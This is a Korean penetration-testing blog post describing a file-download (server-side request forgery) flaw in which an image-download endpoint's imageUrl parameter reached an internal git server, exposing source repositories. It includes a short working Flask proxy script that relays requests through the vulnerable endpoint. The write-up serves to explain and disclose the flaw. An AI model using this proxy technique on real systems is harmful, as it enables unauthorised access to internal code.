| 일 | 월 | 화 | 수 | 목 | 금 | 토 |
|---|---|---|---|---|---|---|
| 1 | 2 | 3 | ||||
| 4 | 5 | 6 | 7 | 8 | 9 | 10 |
| 11 | 12 | 13 | 14 | 15 | 16 | 17 |
| 18 | 19 | 20 | 21 | 22 | 23 | 24 |
| 25 | 26 | 27 | 28 | 29 | 30 | 31 |
Tags
- mitmproxy
- speed-measure-webpack-plugin
- intelmac
- 채팅환전사기
- AWS
- 허리디스크
- self-signed
- esbuild
- shell_gpt
- cve-2025-55182
- 척추관협착증
- S3
- Frida
- ue4dumper
- 취약점
- 모의해킹
- react2shell
- 변태는
- 중고나라
- 안전결제
- 네이버카페
- aes
- Malware Sample
- Sequoia
- LFI
- EC2
- 많다..
- XSS
- 내부확산
- jeb_mcp
Archives
- Today
- Total
annyoung
파일 다운로드 취약점 본문
폴더 정리하다가 찾은 코드인데 나름 재밌었던 취약점이었다.
example.com의 서버가 이미지 다운로드를 지원하고 있었고, 아마도 example.com이 DMZ에 있던거 같은데 이로 인해서 내부 git에 접근할 수 있던 취약점이었다.
물론 git commit date가 최소 2 years ago 이러다보니.. 버려진 사이트 같았고 인증 절차가 없다보니 git에 업로드된 소스코드들을 볼 수 있었다.
import requests
from flask import Flask, request
app = Flask(__name__)
@app.route('/gitweb')
def index():
return requests.get('https://example.com/v1/download/image', dict(
imageUrl=f'http://git.example.com{request.full_path}',
)).content
app.run(debug=True, use_reloader=True)
코드는 위와 같은데 웹 페이지가 깨지지 않도록 css와 js는 미리 로컬에 다운로드 받아서 git.example.com과 동일하게 구성해서 flask를 실행시켰고, 이로 인해서 프록시처럼 클릭만으로 git repository들을 확인할 수 있었다.
원래라면 https://example.com/v1/download/image?imageUrl=http://git.example.com/gitweb/some_repository/main/resources 와 같이 웹 페이지를 다운로드 받고, 그 HTML을 열어보거나 편집기로 확인해서 다시 imageUrl param을 수정해서 다운로드 받아서 확인했어야 했다. 그런데 이런 번거로움을 프록시처럼 구성해 놓은거라고 생각하면 된다.
'모의해킹' 카테고리의 다른 글
| Blind SQL Injection(MySQL) (1) | 2025.02.27 |
|---|---|
| Union SQL Injection(MySQL) (0) | 2025.02.27 |
| XSS input hidden (0) | 2025.02.11 |
| ms teams가 sourcemap에 대하는 자세 (0) | 2024.11.01 |
| React Native 디컴파일 (0) | 2024.10.25 |
Comments